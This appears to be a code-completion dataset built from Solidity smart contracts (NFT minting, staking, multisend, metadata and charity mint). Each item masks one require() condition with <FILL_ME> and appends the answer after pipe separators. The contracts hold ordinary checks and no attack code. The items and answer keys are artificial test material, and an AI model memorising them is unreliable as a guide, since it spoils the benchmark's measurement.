string private constant _placeholder =
'ipfs://QmXKuLV3DLxUg9wrw11knyFK9KGn9NhxuFETJQwFgeNQGb';
uint96 private constant _royalty = 10;
bool private _active = false;
uint256 private _maxSupply;
string private _message;
constructor(uint256 limit, string memory message)
ERC721('FAKE FACES FOR SALE', 'FFFS')
{
}
function contractURI() public pure returns (string memory) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function openMint() public onlyOwner {
}
function _recoverSigner(bytes memory sig) internal view returns (address) {
}
function mint(bytes memory signature) public nonReentrant whenNotPaused {
require(<FILL_ME>)
require(
totalSupply() < _maxSupply,
'Total supply of tokens has already been minted....'
);
require(
balanceOf(msg.sender) < 1,
'Only one token is allowed per address!'
);
require(
_recoverSigner(signature) == owner(),
'Signature does not match'
);
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _placeholder);
assert(balanceOf(msg.sender) == 1);
}
function updateTokenURI(uint256 tokenId, string memory uri)
public
onlyOwner
whenNotPaused
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage, ERC721Royalty)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty)
returns (bool)
{
}
}
| _active||msg.sender==owner(),'Minting has not been opened yet' | 215,197 | _active||msg.sender==owner() |
'Total supply of tokens has already been minted....' | // ███████╗░█████╗░██╗░░██╗███████╗ ███████╗░█████╗░░█████╗░███████╗░██████╗
// ██╔════╝██╔══██╗██║░██╔╝██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝
// █████╗░░███████║█████═╝░█████╗░░ █████╗░░███████║██║░░╚═╝█████╗░░╚█████╗░
// ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░ ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░░╚═══██╗
// ██║░░░░░██║░░██║██║░╚██╗███████╗ ██║░░░░░██║░░██║╚█████╔╝███████╗██████╔╝
// ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚═════╝░
// ███████╗░█████╗░██████╗░ ░██████╗░█████╗░██╗░░░░░███████╗
// ██╔════╝██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║░░░░░██╔════╝
// █████╗░░██║░░██║██████╔╝ ╚█████╗░███████║██║░░░░░█████╗░░
// ██╔══╝░░██║░░██║██╔══██╗ ░╚═══██╗██╔══██║██║░░░░░██╔══╝░░
// ██║░░░░░╚█████╔╝██║░░██║ ██████╔╝██║░░██║███████╗███████╗
// ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝
//
// FAKE FACES FOR SALE
// Jonathan Dinu (@clearspandex)
// 2022
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract FakeFaces is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable,
ERC721Royalty,
ReentrancyGuard
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
event PermanentURI(string _value, uint256 indexed _id);
Counters.Counter private _tokenIdCounter;
string private constant _placeholder =
'ipfs://QmXKuLV3DLxUg9wrw11knyFK9KGn9NhxuFETJQwFgeNQGb';
uint96 private constant _royalty = 10;
bool private _active = false;
uint256 private _maxSupply;
string private _message;
constructor(uint256 limit, string memory message)
ERC721('FAKE FACES FOR SALE', 'FFFS')
{
}
function contractURI() public pure returns (string memory) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function openMint() public onlyOwner {
}
function _recoverSigner(bytes memory sig) internal view returns (address) {
}
function mint(bytes memory signature) public nonReentrant whenNotPaused {
require(
_active || msg.sender == owner(),
'Minting has not been opened yet'
);
require(<FILL_ME>)
require(
balanceOf(msg.sender) < 1,
'Only one token is allowed per address!'
);
require(
_recoverSigner(signature) == owner(),
'Signature does not match'
);
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _placeholder);
assert(balanceOf(msg.sender) == 1);
}
function updateTokenURI(uint256 tokenId, string memory uri)
public
onlyOwner
whenNotPaused
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage, ERC721Royalty)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty)
returns (bool)
{
}
}
| totalSupply()<_maxSupply,'Total supply of tokens has already been minted....' | 215,197 | totalSupply()<_maxSupply |
'Only one token is allowed per address!' | // ███████╗░█████╗░██╗░░██╗███████╗ ███████╗░█████╗░░█████╗░███████╗░██████╗
// ██╔════╝██╔══██╗██║░██╔╝██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝
// █████╗░░███████║█████═╝░█████╗░░ █████╗░░███████║██║░░╚═╝█████╗░░╚█████╗░
// ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░ ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░░╚═══██╗
// ██║░░░░░██║░░██║██║░╚██╗███████╗ ██║░░░░░██║░░██║╚█████╔╝███████╗██████╔╝
// ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚═════╝░
// ███████╗░█████╗░██████╗░ ░██████╗░█████╗░██╗░░░░░███████╗
// ██╔════╝██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║░░░░░██╔════╝
// █████╗░░██║░░██║██████╔╝ ╚█████╗░███████║██║░░░░░█████╗░░
// ██╔══╝░░██║░░██║██╔══██╗ ░╚═══██╗██╔══██║██║░░░░░██╔══╝░░
// ██║░░░░░╚█████╔╝██║░░██║ ██████╔╝██║░░██║███████╗███████╗
// ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝
//
// FAKE FACES FOR SALE
// Jonathan Dinu (@clearspandex)
// 2022
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract FakeFaces is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable,
ERC721Royalty,
ReentrancyGuard
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
event PermanentURI(string _value, uint256 indexed _id);
Counters.Counter private _tokenIdCounter;
string private constant _placeholder =
'ipfs://QmXKuLV3DLxUg9wrw11knyFK9KGn9NhxuFETJQwFgeNQGb';
uint96 private constant _royalty = 10;
bool private _active = false;
uint256 private _maxSupply;
string private _message;
constructor(uint256 limit, string memory message)
ERC721('FAKE FACES FOR SALE', 'FFFS')
{
}
function contractURI() public pure returns (string memory) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function openMint() public onlyOwner {
}
function _recoverSigner(bytes memory sig) internal view returns (address) {
}
function mint(bytes memory signature) public nonReentrant whenNotPaused {
require(
_active || msg.sender == owner(),
'Minting has not been opened yet'
);
require(
totalSupply() < _maxSupply,
'Total supply of tokens has already been minted....'
);
require(<FILL_ME>)
require(
_recoverSigner(signature) == owner(),
'Signature does not match'
);
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _placeholder);
assert(balanceOf(msg.sender) == 1);
}
function updateTokenURI(uint256 tokenId, string memory uri)
public
onlyOwner
whenNotPaused
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage, ERC721Royalty)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty)
returns (bool)
{
}
}
| balanceOf(msg.sender)<1,'Only one token is allowed per address!' | 215,197 | balanceOf(msg.sender)<1 |
'Signature does not match' | // ███████╗░█████╗░██╗░░██╗███████╗ ███████╗░█████╗░░█████╗░███████╗░██████╗
// ██╔════╝██╔══██╗██║░██╔╝██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝
// █████╗░░███████║█████═╝░█████╗░░ █████╗░░███████║██║░░╚═╝█████╗░░╚█████╗░
// ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░ ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░░╚═══██╗
// ██║░░░░░██║░░██║██║░╚██╗███████╗ ██║░░░░░██║░░██║╚█████╔╝███████╗██████╔╝
// ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚═════╝░
// ███████╗░█████╗░██████╗░ ░██████╗░█████╗░██╗░░░░░███████╗
// ██╔════╝██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║░░░░░██╔════╝
// █████╗░░██║░░██║██████╔╝ ╚█████╗░███████║██║░░░░░█████╗░░
// ██╔══╝░░██║░░██║██╔══██╗ ░╚═══██╗██╔══██║██║░░░░░██╔══╝░░
// ██║░░░░░╚█████╔╝██║░░██║ ██████╔╝██║░░██║███████╗███████╗
// ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝
//
// FAKE FACES FOR SALE
// Jonathan Dinu (@clearspandex)
// 2022
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract FakeFaces is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable,
ERC721Royalty,
ReentrancyGuard
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
event PermanentURI(string _value, uint256 indexed _id);
Counters.Counter private _tokenIdCounter;
string private constant _placeholder =
'ipfs://QmXKuLV3DLxUg9wrw11knyFK9KGn9NhxuFETJQwFgeNQGb';
uint96 private constant _royalty = 10;
bool private _active = false;
uint256 private _maxSupply;
string private _message;
constructor(uint256 limit, string memory message)
ERC721('FAKE FACES FOR SALE', 'FFFS')
{
}
function contractURI() public pure returns (string memory) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function openMint() public onlyOwner {
}
function _recoverSigner(bytes memory sig) internal view returns (address) {
}
function mint(bytes memory signature) public nonReentrant whenNotPaused {
require(
_active || msg.sender == owner(),
'Minting has not been opened yet'
);
require(
totalSupply() < _maxSupply,
'Total supply of tokens has already been minted....'
);
require(
balanceOf(msg.sender) < 1,
'Only one token is allowed per address!'
);
require(<FILL_ME>)
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _placeholder);
assert(balanceOf(msg.sender) == 1);
}
function updateTokenURI(uint256 tokenId, string memory uri)
public
onlyOwner
whenNotPaused
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage, ERC721Royalty)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty)
returns (bool)
{
}
}
| _recoverSigner(signature)==owner(),'Signature does not match' | 215,197 | _recoverSigner(signature)==owner() |
"Stake: Not yet unstakable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Poolable.sol";
import "./Recoverable.sol";
/** @title NftStakingPool
*/
contract NftStakingPool is Ownable, Poolable, Recoverable, ReentrancyGuard, ERC721Holder {
using SafeERC20 for IERC20;
struct PoolDeposit {
address owner;
uint64 pool;
uint256 depositDate;
uint256 claimed;
}
struct MultiStakeParam {
uint256[] tokenIds;
uint256 poolId;
}
IERC20 public rewardToken;
// poolDeposit per collection and tokenId
mapping(address => mapping(uint256 => PoolDeposit)) private _deposits;
// user rewards mapping
mapping(address => uint256) private _userRewards;
event Stake(address indexed account, uint256 poolId, address indexed collection, uint256 tokenId);
event Unstake(address indexed account, address indexed collection, uint256 tokenId);
event BatchStake(address indexed account, uint256 poolId, address indexed collection, uint256[] tokenIds);
event BatchUnstake(address indexed account, address indexed collection, uint256[] tokenIds);
event Claimed(address indexed account, address indexed collection, uint256 tokenId, uint256 rewards, uint256 pool);
event ClaimedMulti(address indexed account, MultiStakeParam[] groups, uint256 rewards);
constructor(IERC20 _rewardToken) {
}
function _sendRewards(address destination, uint256 amount) internal virtual {
}
function _sendAndUpdateRewards(address account, uint256 amount) internal {
}
function _getPendingRewardAmounts(PoolDeposit memory deposit, Pool memory pool) internal view returns (uint256) {
}
function _stake(
address account,
address collection,
uint256 tokenId,
uint256 poolId
) internal {
}
/**
* @notice Stake a token from the collection
*/
function stake(uint256 poolId, uint256 tokenId) external nonReentrant whenPoolOpened(poolId) {
}
function _unstake(
address account,
address collection,
uint256 tokenId
) internal returns (uint256) {
PoolDeposit storage deposit = _deposits[collection][tokenId];
require(<FILL_ME>)
Pool memory pool = getPool(deposit.pool);
uint256 rewards = _getPendingRewardAmounts(deposit, pool);
if (rewards > 0) {
deposit.claimed += rewards;
}
// update deposit
delete _deposits[collection][tokenId];
// transfer token
IERC721(collection).safeTransferFrom(address(this), account, tokenId);
return rewards;
}
/**
* @notice Unstake a token
*/
function unstake(address collection, uint256 tokenId) external nonReentrant {
}
function _restake(
uint256 newPoolId,
address collection,
uint256 tokenId
) internal returns (uint256) {
}
/**
* @notice Allow a user to [re]stake a token in a new pool without unstaking it first.
*/
function restake(
uint256 newPoolId,
address collection,
uint256 tokenId
) external nonReentrant {
}
function _batchStake(
address account,
uint256 poolId,
uint256[] memory tokenIds
) internal whenPoolOpened(poolId) {
}
function _batchUnstake(
address account,
address collection,
uint256[] memory tokenIds
) internal {
}
function _batchRestake(
address account,
uint256 poolId,
address collection,
uint256[] memory tokenIds
) internal {
}
/**
* @notice Batch stake a list of tokens from the collection
*/
function batchStake(uint256 poolId, uint256[] calldata tokenIds) external nonReentrant {
}
/**
* @notice Batch unstake tokens
*/
function batchUnstake(address collection, uint256[] calldata tokenIds) external nonReentrant {
}
/**
* @notice Batch restake tokens
*/
function batchRestake(
uint256 poolId,
address collection,
uint256[] calldata tokenIds
) external nonReentrant {
}
/**
* @notice Batch stake a list of tokens from different collections
*/
function stakeMulti(MultiStakeParam[] memory groups) external nonReentrant {
}
/**
* @notice Batch unstake tokens from different collections
*/
function unstakeMulti(MultiStakeParam[] memory groups) external nonReentrant {
}
/**
* @notice Batch restake tokens from different collections
*/
function restakeMulti(MultiStakeParam[] memory groups) external nonReentrant {
}
function claim(address collection, uint256 tokenId) external {
}
function claimMulti(MultiStakeParam[] memory groups) external {
}
/**
* @notice Checks if a token has been deposited for enough time to get rewards
*/
function isTokenUnlocked(address collection, uint256 tokenId) public view returns (bool) {
}
/**
* @notice Get the stake detail for a token (owner, poolId, min unstakable date, reward unlock date)
*/
function getStakeInfo(address collection, uint256 tokenId)
external
view
returns (
address owner, // owner
uint256 poolId, // poolId
uint256 depositDate, // deposit date
uint256 unlockDate, // unlock date
uint256 rewardDate, // reward date
uint256 totalClaimed // total claimed
)
{
}
/**
* @notice Returns the total reward for a user
*/
function getUserTotalRewards(address account) external view returns (uint256) {
}
function recoverNonFungibleToken(address _token, uint256 _tokenId) external override onlyOwner {
}
}
| isUnlockable(deposit.pool,deposit.depositDate),"Stake: Not yet unstakable" | 215,231 | isUnlockable(deposit.pool,deposit.depositDate) |
"Token transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/*
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/*
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
}
interface Token {
function transfer(address to, uint256 value) external returns (bool);
}
contract Multisender is Ownable {
function multisend(address tokenAddr, address[] calldata to, uint256[] calldata value) external onlyOwner
returns (bool)
{
require(to.length == value.length, "Invalid input arrays");
require(to.length <= 1000, "Too many recipients");
for (uint256 i = 0; i < to.length; i++) {
require(<FILL_ME>)
}
return true;
}
}
| Token(tokenAddr).transfer(to[i],value[i]*10**18),"Token transfer failed" | 215,251 | Token(tokenAddr).transfer(to[i],value[i]*10**18) |
"!skies" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "erc721a/contracts/IERC721A.sol";
import "./Structs.sol";
import "./IArtFactory.sol";
import "./IArtParams.sol";
interface IPlanes {
function getSeed(uint256 tokenId) external view returns (string memory);
}
contract PlanesHelper is Ownable {
IPlanes public _skies;
IERC721A public _pings;
IArtFactory public _artFactory;
IArtData public _artData;
IParams public _artParams;
function getSeed_bytes(uint256 tokenId) public view returns (bytes memory) {
}
function getAtts(uint256 tokenId) public view returns (BaseAttributes memory atts) {
}
function getParamsString(uint256 tokenId, bool encoded, bool isSample) public view returns (string memory paramsSequence) {
}
//this should be used for off-chain queries (calls) only, as the complexity is O(total supply)
//could cost a lot of gas if used in on-chain gas transactions
function pingsHeld(address owner) public view returns (uint[] memory tokenIds) {
}
function pingsHeldRanged(address owner, uint start, uint endExcl) public view returns (uint[] memory tokenIds, uint numFound) {
}
function setSkies(address addr) external onlyOwner {
}
function setPings(address addr) external onlyOwner {
}
function setArtFactory(address addr) external virtual onlyOwner {
}
function setArtData(address addr) external virtual onlyOwner {
}
function setParams(address addr) external virtual onlyOwner {
}
function check() external view {
require(<FILL_ME>)
require(address(_pings) != address(0), "!pings");
require(address(_artFactory) != address(0), "!artFact");
require(address(_artData) != address(0), "!artDt");
require(address(_artParams) != address(0), "!artPrm");
}
}
| address(_skies)!=address(0),"!skies" | 215,317 | address(_skies)!=address(0) |
"!pings" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "erc721a/contracts/IERC721A.sol";
import "./Structs.sol";
import "./IArtFactory.sol";
import "./IArtParams.sol";
interface IPlanes {
function getSeed(uint256 tokenId) external view returns (string memory);
}
contract PlanesHelper is Ownable {
IPlanes public _skies;
IERC721A public _pings;
IArtFactory public _artFactory;
IArtData public _artData;
IParams public _artParams;
function getSeed_bytes(uint256 tokenId) public view returns (bytes memory) {
}
function getAtts(uint256 tokenId) public view returns (BaseAttributes memory atts) {
}
function getParamsString(uint256 tokenId, bool encoded, bool isSample) public view returns (string memory paramsSequence) {
}
//this should be used for off-chain queries (calls) only, as the complexity is O(total supply)
//could cost a lot of gas if used in on-chain gas transactions
function pingsHeld(address owner) public view returns (uint[] memory tokenIds) {
}
function pingsHeldRanged(address owner, uint start, uint endExcl) public view returns (uint[] memory tokenIds, uint numFound) {
}
function setSkies(address addr) external onlyOwner {
}
function setPings(address addr) external onlyOwner {
}
function setArtFactory(address addr) external virtual onlyOwner {
}
function setArtData(address addr) external virtual onlyOwner {
}
function setParams(address addr) external virtual onlyOwner {
}
function check() external view {
require(address(_skies) != address(0), "!skies");
require(<FILL_ME>)
require(address(_artFactory) != address(0), "!artFact");
require(address(_artData) != address(0), "!artDt");
require(address(_artParams) != address(0), "!artPrm");
}
}
| address(_pings)!=address(0),"!pings" | 215,317 | address(_pings)!=address(0) |
"!artFact" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "erc721a/contracts/IERC721A.sol";
import "./Structs.sol";
import "./IArtFactory.sol";
import "./IArtParams.sol";
interface IPlanes {
function getSeed(uint256 tokenId) external view returns (string memory);
}
contract PlanesHelper is Ownable {
IPlanes public _skies;
IERC721A public _pings;
IArtFactory public _artFactory;
IArtData public _artData;
IParams public _artParams;
function getSeed_bytes(uint256 tokenId) public view returns (bytes memory) {
}
function getAtts(uint256 tokenId) public view returns (BaseAttributes memory atts) {
}
function getParamsString(uint256 tokenId, bool encoded, bool isSample) public view returns (string memory paramsSequence) {
}
//this should be used for off-chain queries (calls) only, as the complexity is O(total supply)
//could cost a lot of gas if used in on-chain gas transactions
function pingsHeld(address owner) public view returns (uint[] memory tokenIds) {
}
function pingsHeldRanged(address owner, uint start, uint endExcl) public view returns (uint[] memory tokenIds, uint numFound) {
}
function setSkies(address addr) external onlyOwner {
}
function setPings(address addr) external onlyOwner {
}
function setArtFactory(address addr) external virtual onlyOwner {
}
function setArtData(address addr) external virtual onlyOwner {
}
function setParams(address addr) external virtual onlyOwner {
}
function check() external view {
require(address(_skies) != address(0), "!skies");
require(address(_pings) != address(0), "!pings");
require(<FILL_ME>)
require(address(_artData) != address(0), "!artDt");
require(address(_artParams) != address(0), "!artPrm");
}
}
| address(_artFactory)!=address(0),"!artFact" | 215,317 | address(_artFactory)!=address(0) |
"!artDt" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "erc721a/contracts/IERC721A.sol";
import "./Structs.sol";
import "./IArtFactory.sol";
import "./IArtParams.sol";
interface IPlanes {
function getSeed(uint256 tokenId) external view returns (string memory);
}
contract PlanesHelper is Ownable {
IPlanes public _skies;
IERC721A public _pings;
IArtFactory public _artFactory;
IArtData public _artData;
IParams public _artParams;
function getSeed_bytes(uint256 tokenId) public view returns (bytes memory) {
}
function getAtts(uint256 tokenId) public view returns (BaseAttributes memory atts) {
}
function getParamsString(uint256 tokenId, bool encoded, bool isSample) public view returns (string memory paramsSequence) {
}
//this should be used for off-chain queries (calls) only, as the complexity is O(total supply)
//could cost a lot of gas if used in on-chain gas transactions
function pingsHeld(address owner) public view returns (uint[] memory tokenIds) {
}
function pingsHeldRanged(address owner, uint start, uint endExcl) public view returns (uint[] memory tokenIds, uint numFound) {
}
function setSkies(address addr) external onlyOwner {
}
function setPings(address addr) external onlyOwner {
}
function setArtFactory(address addr) external virtual onlyOwner {
}
function setArtData(address addr) external virtual onlyOwner {
}
function setParams(address addr) external virtual onlyOwner {
}
function check() external view {
require(address(_skies) != address(0), "!skies");
require(address(_pings) != address(0), "!pings");
require(address(_artFactory) != address(0), "!artFact");
require(<FILL_ME>)
require(address(_artParams) != address(0), "!artPrm");
}
}
| address(_artData)!=address(0),"!artDt" | 215,317 | address(_artData)!=address(0) |
"!artPrm" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "erc721a/contracts/IERC721A.sol";
import "./Structs.sol";
import "./IArtFactory.sol";
import "./IArtParams.sol";
interface IPlanes {
function getSeed(uint256 tokenId) external view returns (string memory);
}
contract PlanesHelper is Ownable {
IPlanes public _skies;
IERC721A public _pings;
IArtFactory public _artFactory;
IArtData public _artData;
IParams public _artParams;
function getSeed_bytes(uint256 tokenId) public view returns (bytes memory) {
}
function getAtts(uint256 tokenId) public view returns (BaseAttributes memory atts) {
}
function getParamsString(uint256 tokenId, bool encoded, bool isSample) public view returns (string memory paramsSequence) {
}
//this should be used for off-chain queries (calls) only, as the complexity is O(total supply)
//could cost a lot of gas if used in on-chain gas transactions
function pingsHeld(address owner) public view returns (uint[] memory tokenIds) {
}
function pingsHeldRanged(address owner, uint start, uint endExcl) public view returns (uint[] memory tokenIds, uint numFound) {
}
function setSkies(address addr) external onlyOwner {
}
function setPings(address addr) external onlyOwner {
}
function setArtFactory(address addr) external virtual onlyOwner {
}
function setArtData(address addr) external virtual onlyOwner {
}
function setParams(address addr) external virtual onlyOwner {
}
function check() external view {
require(address(_skies) != address(0), "!skies");
require(address(_pings) != address(0), "!pings");
require(address(_artFactory) != address(0), "!artFact");
require(address(_artData) != address(0), "!artDt");
require(<FILL_ME>)
}
}
| address(_artParams)!=address(0),"!artPrm" | 215,317 | address(_artParams)!=address(0) |
"not a fren" | pragma solidity 0.8.7;
contract Metadata is Ownable {
using Strings for uint256;
mapping(uint256 => bool) public isNounPepeOnChain;
mapping(uint256 => address) onChainNounPepe;
mapping(uint256 => bool) public isGif;
modifier onlyFren {
//frens can map.
require(<FILL_ME>)
_;
}
mapping(address => bool) frens;
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function buildMetadata(uint256 tokenId) public view returns(string memory) {
}
function onChainArt(uint256 tokenId) external view returns (string memory) {
}
function onChainArtAddress(uint256 tokenId) external view returns (address) {
}
receive() external payable { }
function putNounPepeOnChain(uint256 tokenId, string calldata svg) external onlyFren {
}
function takeNounPepeOffChain(uint256 tokenId) external onlyFren {
}
function toggleIsGif(uint256 tokenId) external onlyFren {
}
function isFren(address _user) external view returns (bool) {
}
function toggleFren(address _user) external onlyOwner {
}
}
| frens[msg.sender]||msg.sender==owner(),"not a fren" | 215,452 | frens[msg.sender]||msg.sender==owner() |
"Ownable: caller is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../tokens/MentalHealthCoalition.sol";
/// @title Initiative1
/// Initial mint for The Mental Health Coalition
contract Initiative1 is Ownable {
/// Indicates that an invalid amount of tokens to mint was provided
error InvalidAmount();
/// Indicates that an invalid sum of ETH was provided during mint
error InvalidPrice();
/// Indicates that there are no more tokens in this sale to be minted
error SoldOut();
/// Maximum quantity of tokens that can be minted at once
uint256 public constant MAX_MINT_QUANTITY = 10;
/// The per-token mint price
uint256 public constant MINT_PRICE = 0.05 ether;
/// The total number of tokens that will be minted in this sale
uint256 public constant MAX_MINT = 500;
/// @dev Reference to the MentalHealthCoalition ERC-1155 contract
MentalHealthCoalition private immutable _mentalHealthCoalition;
/// @dev The number of tokens currently minted by this contract
uint256 private _minted;
/// @dev The recipient of the raised funds
address payable private immutable _recipient;
/// @dev A seed used in selected specific token ids for mint
uint256 private _seed;
/// Constructs the `Initiative1` minting contract
/// @param mentalHealthCoalition The address of the `MentalHealthCoalition` ERC-1155 contract
/// @param recipient The recipient of the raised funds
/// @param seed The initial seed used for token selection
constructor(address mentalHealthCoalition, address payable recipient, uint256 seed) Ownable() payable {
}
/// @return Returns the available supply of tokens minted by this contract
function availableSupply() external view returns (uint256) {
}
/// Mints the provided type and quantity of Kennethisms
/// @dev There are some optimizations to reduce minting gas costs, which have been thoroughly unit tested
/// @param amount The amount to mint
function mintKennethisms(uint256 amount) external payable {
}
/// @dev Withdraws proceeds for donation
function withdrawProceeds() external {
require(<FILL_ME>)
uint256 balance = address(this).balance;
if (balance > 0) {
Address.sendValue(_recipient, balance);
}
}
